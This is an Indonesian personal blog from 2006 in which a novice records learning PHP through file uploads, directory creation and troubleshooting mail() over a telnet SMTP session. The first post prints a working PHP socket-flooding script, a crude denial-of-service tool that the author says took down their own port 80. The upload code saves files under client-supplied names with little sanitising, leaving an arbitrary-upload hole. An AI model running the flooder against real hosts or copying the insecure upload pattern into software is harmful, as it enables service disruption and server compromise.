April 27, 2006

bego nya gwe

 

qe qe qe .. salah satu kebodohan gwe yang sangat fatal adalah coba2.seperti kemaren gwe coba2 explo tembak.c yg di tulis make php, kurang lebihnya seperti ini:

<body>
<form method=post>
host : <input type=text name=host value="<?echo($host)?>"><br>
port : <input type=text name=port value="<?echo($port)?>"><br>
<input type=submit value=hajarrrr>
<?
set_time_limit(3600);
$peluru="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
if (empty($host) || empty($host)){echo("isi aje.. host ma portnya ;) ");}
else {
$fp = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
echo("dodol.. ga konek tuh ah…");
}
else {
echo ("ciaaaaaatzzzzzzzzzz….<br>");
for(;;)
{
fputs ($fp, $peluru);
}
echo ("sips.. bos.. dah matek orangnye.. ");
}
}
?>

</body>

 

hohohohoo.. nah nah.. source apa hayo ? qe qe qe .looping forever.. wahahahahahhaaa… ngabis2in bandwith gwe aje.. setannnn!! emoticon.gara2 script dodol ini gwe cobain di tempat gwe,akhirnya port 80 gwe dengan suksesnya meninggal dunia.karena gwe nembaknya di 80 wakakakakakka… goblookkk…

 

April 25, 2006

senangnyah !

akhirnya,ngerti juga gwe.hehehe…

2 hari ngoprek2 di google tentang mail() sama upload akhirnya skarang tau juga untuk yg upload :D .tapi untuk yang mail() gwe blom ketemu :( .

——————-uploadgwe1.php————————- 

<body>
<form name="form1" method="post" action="uploadgwe2.php">
<p>Masukkan jumlah file yang ingin di upload Max =9</p>
<p><input name="uploadneed" type="text" id="uploadneed" maxlength="1"></p>
<p><input type="submit" name="submit" value="submit"></p>
</form>

</body>

————————- cut ————————- 

————————- uploadgwe2.php————————- 

 <form name="form1" enctype="multipart/form-data" method="post" action="pretpret.php">
 <p>
  <?
   $uploadneed = $_POST[’uploadneed’];
   for($x=0;$x<$uploadneed;$x++)
     {
  ?>
      <input name="uploadfile<? echo $x; ?>" type="file" id="uploadfile <? echo $x; ?>">
 
 </p>
 <?
 }
 ?>
 <p> <input name="uploadneed" type="hidden" value="<? echo $uploadneed; ?>">
 <input type="submit" name="submit" value="submit"></p>
 
</form>

 ————————-  cut ————————-

 ————————- prepret.php————————-

<body>
<?
$uploadneed = $_POST[’uploadneed’];
for ($x=0;$x<$uploadneed;$x++)
 {
  $file_name=$_FILES[’uploadfile’.$x][’name’];
  $file_name = stripslashes($file_name);
  $file_name = str_replace("’","",$file_name);
 
  $copy = copy($_FILES[’uploadfile’.$x][’tmp_name’],$file_name);
 
  if ($copy)
   {
     echo "$file_name <—- pret pret..berhasil di upload neh crut.. <br>";
   }else{
  
    echo "$file_name  <—- pret pret..cek lagi dong bos ah…..<br>";
        }
}
?>

</body>

 

————————————————————— 

kurang lebihnya seperti itu :D  

 nb: diambil dari berbagai referensi :p ..

April 23, 2006

so fucking tired

wagh ! capek pisan banget euy ni hari.

nyari2 tutorial buat ngutak ngatik file (upload,create folder,delete folder,rename folder)puyeng gwe,gimana ntar mixingnya.untuk create folder udah bisa,nah untuk delete sama rename gwe puyeng.untuk yg upload lebih puyeng lagi gwe,soalnya begitu gwe upload filenya ke upload tapi… untuk kesekian kalinya aneh.filenya kok ga ada????? herman !

 

buat bikin direktori mah gini doang bisa :

<body> 

<form method="post" action="pakpos2.php">
<input type="text" name="satu">
<input type="submit" name="Submit" value="Submit">
</form>

 </body>

——————–cut—————–

pakpos2.php 

————-

<body>
<?
if (mkdir($satu,0701))
 {
   echo "direktori $satu udah kebikin";
 }
 else
  {
   echo "direktori kga kebikin bos,..cek lagi dah ah..";
  }

?>
</body>

nah..skarang gwe lagi puyeng buat rename , delete..dan bla bla bla bla…ugh..

SMANGATTTT PAKKK!!!!!!!!!!!!!!!!  

 

 

 

 

April 22, 2006

mail() suck

today i’ve send email to gordon for checking the email server in usa.bah ! it’s so terible,i’ve so give up for  check and check again in my code.there’s no fault anything in my code,but why when it’s running i didn’t receive anything in my email inbox ????

ugh…damn it.

well i hope tomorrow i can solved this problem emoticon

maunya apa sih ?!

 

gosh.. nyerah juga dah ni gwe lama2!!emoticon .bikin program buat ngirim email aje,susahnya setengah mampos!.kemaren gwe coba kirim pake mailer hasilnya adalah bisa.eh sekarang begitu gwe coba lagi kga bisa !! emoticon begh,demit banget dah ah !

coba gwe telnet,ke mail serper

220 1-LPI-01.lpi.local Microsoft ESMTP MAIL Service, Version: 6.0.3790.1830 read
y at  Sat, 22 Apr 2006 00:40:33 -0700
helo mail.xxxxx.com 25501 5.5.4 Invalid Address
helo mail.xxxxx.com
250 1-LPI-01.lpi.local Hello [xx.xxx.xxx.xxx]
mail from :<ryprasetyo@xxxxx.com>
501 5.5.4 Invalid Address
mail from:<ryprasetyo@xxxxx.com>
250 2.1.0 ryprasetyo@xxxxx.com….Sender OK
rcpt to:jasmin@xxxxx.com
501 5.5.4 Invalid Address
rcpt to:<jasmin@xxxxx.com>
501 5.5.4 Invalid Address
rcpt to: jasmin@xxxxx.com
250 2.1.5 jasmin@xxxxx.com
data
354 Start mail input; end with <CRLF>.<CRLF>
from:ryprasetyo@xxxxx.com
to:jasmin@xxxxx.com
subject:testtt…

just for testtt….please reply to me mom if u receive this message

.
250 2.6.0 <1-LPI-01T3lEmFWqbTY0000054b@1-LPI-01.lpi.local> Queued mail for deliv
ery

 

bisa kekirim.. tapi begitu gwe cek di inbox hasilnya?

 

KGA ADA APA2 !!!!!!!!!!!!!!!!!!!emoticon emoticonwaaaaaaaaaaaaaaaaaa…….. FFffFFffffUUuuuUUUUcccKKKkk !!emoticonemoticon emoticon ugh…kesel gwe !!! ni udah hari ke 2 gw nguprak nguprek coding + plus email.tapi hasilnya kga jalan2.. SETANNN !!!